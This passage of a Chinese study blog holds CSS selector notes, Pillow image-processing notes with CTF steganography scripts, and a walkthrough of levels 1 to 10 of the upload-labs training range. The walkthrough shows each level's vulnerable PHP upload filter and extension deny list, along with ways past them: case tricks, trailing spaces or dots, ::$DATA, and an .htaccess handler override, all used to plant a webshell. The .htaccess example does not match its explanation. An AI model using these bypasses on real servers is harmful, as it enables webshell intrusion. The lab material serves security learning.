<style type="text/css">
/*使用内联css*/
div{
margin: 20px;
line-height: 36px;
}
div.s{
float: left;
padding-right: 10px;
border-right: #ccc 1px solid;
}
div.m{
float: left;
}
div.s a:link{
color: #000;
text-decoration: none;
}
div.m a:link{
color: #00f;
}
</style>
</head>
<body>
<div class='s'>
<a href="#">Da4er</a><br>
<a href="#">Da4er</a><br>
</div>
<div class='m'>
<a href="#">Da4er</a><br>
<a href="#">Da4er</a><br>
</div>
</body>
</html>

5.子元素选择器

基本语法:选择器1>选择器2{属性1:属性值1;属性2:属性值2;…..}
选择器1>选择器2 表示选择器1子元素的所有选择器2元素

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>使用CSS布局网页段落样式</title>
<style type="text/css">
/*使用内联css*/
h3>span{
color: red;
}
</style>
</head>
<div>
<h3><span>Da4er</span></h3>
<h3>Da4er</h3>
</div>
</body>
</html>

6.相邻兄弟选择器

选择紧接在另一个元素的元素,而且二者有相同的父类
基本语法:选择器1+选择器2{属性1:属性值1;属性2:属性值2;….}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>使用CSS布局网页段落样式</title>
<style type="text/css">
/*使用内联css*/
h1+p{
color: red;
font-weight: bold;

}
p+p{
color: blue;
font-weight: bold;
}
</style>
</head>
<h1>Da4er</h1>
<p>Da4er</p>
<p>Da4er</p>
<p>Da4er</p>
</body>
</html>

四.CSS常用属性

1.文本属性

定义文本外观,修改文本的颜色,行高,对齐方式,字符间距,段首缩进位置等属性以及修饰文本等功能。
常用文本属性:

| 文本属性 |属性值 |描述 |

| color |命名颜色,十六进制,RGB |文本颜色 |
| text-indent |length(常用单位px) |文字的首行缩进距离 |
| line-height |length(常用单位px) | 定义行高 |
| text-decoration |underline,overline,line-through,none|下划线,上划线,删除线,无任何修饰 |
| text-align |left,center,right,justify |左对齐,居中对齐,右对齐,两端对齐 |
| text-transform |none,uppercase,lowercase,capitalize |默认值,将文本中的字母转换大写,转换为小写,每个单词首字母大写,空白会被浏览器忽略 |
| white-space|normal,pre,nowrap,pre-wrap,pre-line,inherit |默认值(空白被浏览器忽略),空白被浏览器保留,文本不换行(直到遇到
),保留空白符序列,合并空白符序列,继承white-space |
| word-spacing |length |设置汉字或单词之间的空格的宽度 |

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>使用CSS布局网页段落样式</title>
<style type="text/css">
/*使用内联css*/
#text1{
color: #03f;
letter-spacing: 6px;
line-height: 37px;
text-decoration: underline;
text-indent: 2em;
}
#text2{
text-align: center;
white-space: pre-wrap;
text-transform: lowercase;
}
</style>
</head>
<body>
<p id="text1">Da4er</p>
<p id="text2">Da4er</p>
</body>
</html>

2.字体属性

| 属性 |属性值 |描述 |

| font |除了font之外的其他字体属性值 |把所有针对字体的属性设置放在一个声明中 |
| font-size |xx-small,smaller,larger,length,% |绝对字体尺寸(默认值为medium),相对字体尺寸(设置比父元素更小的尺寸),相对字体尺寸(设置比父元素更大的尺寸),设置字体大小为基于父元素的一个百分数 |
|font-family |宋体,黑体 |设置字体族,优先级按字体族顺序从大到小 |
| font-weight |normal,lighter,bold,bolder |设置字体常规格式显示,设置字体加细,设置字体加粗,设置字体特粗 |
| font-style |normal,italic,oblique |字体常规格式显示,字体斜体显示,字体斜体显示 |

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>使用CSS布局网页段落样式</title>
<style type="text/css">
/*使用内联css*/
p{
font-family: "楷体","宋体";
font-size: 5em;
font-weight: 500;
font-style: italic;
}
</style>
</head>
<body>
<p>Da4er</p>
</body>
</html>

3.背景属性

| 属性 |属性值 |描述 |

| background | 除background之外的任何的背景属性值 |将背景属性设置在一个声明中 |
| background-color |颜色值 |设置元素的背景颜色 |
| background-image |url(image_file_path) |设置元素的背景图像 |
| background-position |left,right,center,top,bottom |背景图像左,右,中,上,下对齐 |
|background-attachment |scroll,fixed,inherit |设置背景图像是固定亦随着页面滚动,默认是滚动 |

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>使用CSS布局网页段落样式</title>
<style type="text/css">
/*使用内联css*/
body{
background-image: url(1.jpg);
background-attachment: fixed;
}
</style>
</head>
<body>
<p>Da4er</p>
</body>
</html>

4.列表属性

| 属性 |属性值 |描述 |

|list-style |其他任意的列表属性值 |用于把所有用于列表的属性设置于一个声明中 |
| list-style-image |image_url |将图片设置为列表项前导符 |
| list-style-type |disc,circle,square,decimal,lower-roman,upper-roman,lower-alpha,upper-alpha,none |列表项前添加实点圆点,空心圆点,实心方块,普通的阿拉伯数字,小写罗马数字,大写罗马数字,小写英文字母,大写英文字母,不添加任何项目符号或编号 |

五.html文档中应用CSS

1.行内式

基本语法:<标签名 style=”属性1:属性值1;属性2:属性值2;….”>

2.内嵌式

基本语法:

1
<style type="text/css"> CSS样式 </style>

3.链接式

基本语法:

1
<link rel="stylesheet" type="type/css" href="css文件" />

4.导入式

基本语法:

1
<style type="text/css"> @import url("CSS样式文件名");</style>

六.CSS的冲突与解决

当文件中有多个css对同一个元素进行不同格式设置,会出现css的冲突。
解决原则:(1)优先级原则 (2)最近原则 (3)同一个属性的样式定义
优先级的规定为:行内式样式>内嵌式样式|链接外部样式 行内式样式的优先级最高 内嵌式样式和链接外部样式的优先级由它们出现的位置决定,谁出现在后面,谁的优先级就高。
ID选择器的优先级最高。

Python Pillow库学习

一.安装pillow

很简单直接:pip install pillow
导入的时候python2和python3略有不同
//python2
import Image
//python3(因为是派生的PIL库,所以要导入PIL中的Image)
from PIL import Image

二.基本操作

1.图片的打开和展示

1
2
3
from PIL import Image
im=Image.open("haha.jpg")
im.show()

open()打开图片
show()展示图片

2.图片格式,宽高,模式

1
2
3
from PIL import Image
im=Image.open("haha.jpg")
print(im.format,im.size,im.mode)

format展示图像的格式(jpg,png等等)
size属性是一个tuple,表示图像的宽和高
mode表示图像的模式(RGB)

3.图片保存

1
2
3
from PIL import Image
im=Image.open("haha.jpg")
im.save("/root/haha1.jpg")

save()保存图片

4.convert()

convert() 是图像实例对象的一个方法,接受一个 mode 参数,用以指定一种色彩模式,mode 的取值可以是如下几种:
· 1 (1-bit pixels, black and white, stored with one pixel per byte)
· L (8-bit pixels, black and white)
· P (8-bit pixels, mapped to any other mode using a colour palette)
· RGB (3x8-bit pixels, true colour)
· RGBA (4x8-bit pixels, true colour with transparency mask)
· CMYK (4x8-bit pixels, colour separation)
· YCbCr (3x8-bit pixels, colour video format)
· I (32-bit signed integer pixels)
· F (32-bit floating point pixels)

1
2
3
from PIL import Image
im=Image.open("haha.jpg").convert('L')
im.show()

1
2
3
from PIL import Image
im=Image.open("haha.jpg").convert('RGB")
im.show()

5.filter()

用filter()需要导入PIL库中的ImageFilter模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

from PIL import Image, ImageFilter
im = Image.open(‘1.png')
# 高斯模糊
im.filter(ImageFilter.GaussianBlur)
# 普通模糊
im.filter(ImageFilter.BLUR)
# 边缘增强
im.filter(ImageFilter.EDGE_ENHANCE)
# 找到边缘
im.filter(ImageFilter.FIND_EDGES)
# 浮雕
im.filter(ImageFilter.EMBOSS)
# 轮廓
im.filter(ImageFilter.CONTOUR)
# 锐化
im.filter(ImageFilter.SHARPEN)
# 平滑
im.filter(ImageFilter.SMOOTH)
# 细节
im.filter(ImageFilter.DETAIL)

6.获取图片尺寸,缩放图片

1
2
3
4
5
6
7
from PIL import Image
im=Image.open("haha.jpg")
w,h=im.size
print(w,h)
im.thumbnail((w//2,h//2))
#im=im.resize((217,154))
print("Resize image to:%s %s"%(w//2,h//2))

7.截屏

1
2
3
from PIL import ImageGrab
im=ImageGrab.grab((0,0,800,200))#截取屏幕指定区域的图像
im=ImageGrab.grab()#全屏截屏

8.羽化

1
2
3
4
from PIL import Image,ImageFilter
im=Image.open("haha.jpg")
im2=im.filter(ImageFilter.BLUR)
im2.save('1.jpg','jpeg)

9.颜色与RGBA值

传统的图片模式是RGB 即红绿蓝 ;RGBA是红绿蓝加上alpha(透明度)。RGBA的值表示为由4个整数组成的元组,分别R,G,B,A整数的范围0~255,RGB全0表示黑色,全255表示黑色。那么猜测(0,128,0,255)是绿色,因为G分量最大,R、B分量都是0,所以呈现出来是绿色。但是当alpha值为0时,无论什么颜色,该颜色都是不可见的。

1
2
3
from PIL import ImageColor
print(ImageColor.getcolor('green','RGBA'))
print(ImageColor.getcolor('black','RGB'))

10.图像的坐标表示

图像中左上角是坐标原点(0,0),这和平常数学里的坐标系不太一样。这样定义的坐标意味着,X轴是从左到右增长的,而Y轴是从上到下增长。在Pillow中如何使用上述定义的坐标系表示一块矩形区域?许多函数或方法要求提供一个矩形元组参数。元组参数包含四个值,分别代表矩形四条边的距离X轴或者Y轴的距离。顺序是(左,顶,右,底)。右和底坐标稍微特殊,表示直到但不包括。比如(3,2,8,9)就表示横坐标[3,7];纵坐标[2,8]的矩形区域。

11.新建图像(new())

new()有三个参数 第一个参数是mode即颜色空间模式,第二个参数指定了图像的分辨率(宽×高),第三个参数是颜色(可以省略)
第三个参数颜色:可以直接填入常用颜色名称(red,green,blue);也可以填入十六进制表示的颜色,如#FF0000表示红色;还能传入元组,如(255,0,0,255)表示红色

12.更改单个像素点(putpixel())

getpixel() 获取单个像素点的RGB或者RGBA值
putpixel()在单个像素点上添加RGB或者RGBA值

1
2
3
4
5
6
7
8
9
from PIL import ImageColor,Image
im=Image.new('RGB',(200,200))
print(im.getpixel((0,0)))
for i in range(200):
for j in range(100):
im.putpixel((i,j),(210,210,210))
for z in range(100,200):
im.putpixel((i,z),(255,0,0))
im.save("4.png")

13.图片的剪贴,黏贴

(1)图片的剪贴
1
2
3
4
5
from PIL import Image
im=Image.open("haha.jpg")
box=(100,100,450,300)
region=im.crop(box)
region.show()

box这是一个4元的坐标数组,坐标轴是左上角是(0,0)的卡迪尔坐标系。box(x1,y1,x2,y2)

(2)图片的黏贴

paste() 图片黏贴方法
paste(要贴的图片,要贴的图片的4元坐标组成的区域)

1
2
3
4
5
6
7
from PIL import Image
im=Image.open("haha.jpg")
box=(50,50,200,200)
region=im.crop(box)
#region=region.transpose(Image.ROTATE_180)
im.paste(region,box)
im.show()

14.调整图像大小

resize((x,y)) 将图片改成宽为x,高为y的图片

1
2
3
4
5
6
from PIL import Image
im=Image.open('haha.jpg')
width,height=im.size
#print(width,height)
resizeim=im.resize((width,height+10))
resizeim.show()

15.旋转和翻转图像

1
2
3
4
5
from PIL import Image
im=Image.open('haha.jpg')
im.rotate(90).show()
im.rotate(270).show()
im.rotate(180).show()

处理GIF等序列文件

使用seek和tell方法可以在不同帧移动,tell是帧数,而seek是取当前帧数的图片。

1
2
3
4
5
from PIL import Image
im=Image.open('1.gif')
while 1:
im.seek(im.tell()+1)
im.show()

三.常用脚本

1.LSB

LSB最低位隐写 就是把隐藏的信息放到每个像素的最低位

LSB是将原本的像素转8位2进制,将8位2进制的左后一位置0或者置1来隐写数据,所以我们可以枚举所有像素,当该位像素最后一位不为0时,置为255的黑点。

1
2
3
4
5
6
7
8
9
10
11
from PIL import Image
img=Image.open('01.png')
width,height=img.size
for i in range(0,width):
for j in range(0,height):
tmp=img.getpixel((i,j))
if tmp&0x1==0:
img.putpixel((i,j),0)
else:
img.putpixel((i,j),255)
img.show()

2.RGB画图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from PIL import Image

x = 280 #x坐标 通过对txt里的行数进行整数分解
y = 280 #y坐标 x * y = 行数

im = Image.new("RGB", (x, y)) #创建图片
file = open('flag.txt') #打开rbg值的文件

#通过每个rgb点生成图片

for i in range(0, x):
for j in range(0, y):
line = file.readline() #获取一行的rgb值
rgb = line.split(", ") #分离rgb,文本中逗号后面有空格
im.putpixel((i, j), (int(rgb[0]), int(rgb[1]), int(rgb[2]))) #将rgb转化为像素

im.show()

3.图片去污垢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from PIL import Image
lena = Image.open('1.png')
pixsels = lena.load()
width=lena.size[0]
height=lena.size[1]
list1=[]
for x in range(0,width):
for y in range(0,height):
r,g,b=pixsels[x,y]
if r==255 and g==255:
pass
else:
if int(bin(b)[-1])==1:
list1.append(0)
else:
list1.append(1)
print (len(list1))
im=Image.new("1",(300,300))
i=0
while i<len(list1):
im.putpixel((i%300,i/300),list1[i])
i=i+1
im.save("2.png")

4.方向建画图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from PIL import Image

MAX=1000

pic=Image.new("RGB",(MAX,MAX))

str="DDDDDDDDDRRRRRRDDDDDDDDDDDDDDDDLLLDDDDDDDDDDDLLRRRRLLDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUURRRRRRRUUUUUUUUUUUUUUUDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUURRRRRRRRUUUUUUUUUUULLLLLRRRRRRLDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDLLLLUUUUUUUUUUUUUURRRRUUUUURRRRRUUUUUUUUUUURRRRRDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDLLLLLUUUUUUUUUUUUUUUUUUUDDDDDDDDDDDDDDDDDDDRRRRRRLDDDDDDDDDDDDDLLLLLLLRRRRRRRRLUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUURRRRRUUUUUUUUUUUUUUUUURRLLDDDDDDDDDDDDDDDDDDDDDDLLDDDDRRDDDDDDDDDDDDDDDDDDDDDDDRRLLUUUUUUUUUUUUUUUUUUUUUUULLUUUURRUUUUURRRRRRRRUUUUUUUUUUULLLLLRRRRRRLDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDLLLLUUUUUUUUUUUUUURRRRUUUUURRRRDDDDDDDDDDDDDDDDDDDDDDRRRRRLLLLLUUUUUUUUUUUUUUUUUUUUUURRRRRUUUUUUUUUUUUUUUULLLLLRRRRRDDDDDDDDDDDDDDDDRRRUUUUUUUUUUUUUUUURRRRLLLLDDDDDDDDDDDDDDDDRRRRDDDDDDDDDDDDDDDDDDDDDDLLLLRRRRUUUUUUUUUUUUUUUUUUUUUURRRRRUUUUUUUUUUUUUUUURRRRRDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDLLLLLUUUUUUUUUUUUUUUUUUUUUURRRRRRRRRRRRUUUUUUUUUUUUUUUULLLLLRRRRRDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDLLLLLRRRRRUUUUUUUUUUUUUUUUUUUUUURRRRRRRUUUUUUUUUUUUUUUULLLLLRRRRRDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDLLLLLRRRRRUUUUUUUUUUUUUUUUUUUUUURRUUUUUUUUUUUUUUUURRRRRDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDLLLLLUUUUUUUUUUUUUUUUUUUUUURRRRRRRRRRUUUUUUUUUUUUUUUUUUUUULLLRRRDDDDDDDDDDDDDDDDDDDDDDDDRRDDDDLLDDDDDDDDDDDDDDDDDDDDLLL"

flagx=10
flagy=50
for y in range(0,MAX):

for x in range(0,MAX):
pic.putpixel([x,y],(255,255,255))
for key in str:
if key=="R":
for x in range(0,5):
pic.putpixel([flagx+x,flagy],(0,0,0))
flagx=flagx+5
if key=="D":
for x in range(0,5):
pic.putpixel([flagx,flagy+x],(0,0,0))
flagy+=5
if key=="L":
for x in range(0,5):
pic.putpixel([flagx-x,flagy],(0,0,0))
flagx-=5
if key=="U":
for x in range(0,5):
pic.putpixel([flagx,flagy-x],(0,0,0))
flagy-=5
pic.show()

pic.save("flag.png")

当然常用脚本不只这些 python对图片处理有着强大的功能,还需不断学习。

第二篇文章了,不知道有没有人看,希望自己坚持下去!!

文件上传靶场通关笔记

upload-labs 文件上传靶场通关笔记

第一关。
上传前端检测

有两种方法:
1.直接f12,查看js检测函数,在把form表单中检测函数删掉就能绕过前端检测

2.先将后缀名改成合法的后缀,上传抓包,在包中再把后缀改过来就能绕过。

最后会把一句话木马上传到服务器,完成上传

这类的前端检测文件上传,不安全,是纸老虎!! 文件上传必须在后端做检测。
前端验证的标志就是弹框提示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<script type="text/javascript">
    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }
</script>

前端代码如上面
第二关。

查看源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];          
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

发现这段代码只对文件的content-type作出了判断,所以我们可以通过抓包改文件的type来突破上传


这样就可以上传绕过对于文件mine类型的检测

第三关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空
        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这段代码是文件上传的黑名单检测,只要是黑名单里面的后缀名都禁止上传
黑名单在设计时可能有遗漏,我们可以找到这些遗漏的后缀名,突破上传。
像 php5,php4,cer等都是遗漏的点


但是这里有个做法,就是重命名上传文件,关键代码是:
1
2
$temp_file = $_FILES['upload_file']['tmp_name'];
 $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;

用菜刀连接的时候是访问.php5这样是可以访问的 不是php

第四关
源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这也是黑名单检测,但是它把所以可以利用的后缀名全部过滤了。
这里要用到一个新的知识点:.htaccess
.htaccess是apache服务器中的一个配置文件。它负责相关目录下的网页配置,通过.htaccess文件可以实现网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
1
2
3
<FilesMatch "D">
SetHandler application/x-httpd-php
</FilesMatch>

这是.htaccess文件,调用php的解析器一个文件名,只要包含”cimer”这个字符串的任意文件,都当作php解析

所以利用思路就是先上传.htaccess文件,在上传.htaccess中指定的文件 完成突破


第五关
源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

根据源码发现它没有对大小写进行限制,所以我们可以进行大小写绕过

第六关
源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

看见源码没有对末尾进行去空格操作,所以可以在上传时抓包 在上传的文件后面加个空格,就可以突破上传

第七关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

查看源码,发现没有对点号进行限制,我们可以抓包在上传文件名后面加点号

第八关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

发现没有对::$DATA进行过滤,可以利用windows的特性,上传抓包在文件名后面加::$DATA突破上传

第九关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

查看源码 发现黑名单过滤了所以危险后缀,也有了过滤点号等操作 但是我们可以双写绕过 .空格.就可以绕过

第十关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18


if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

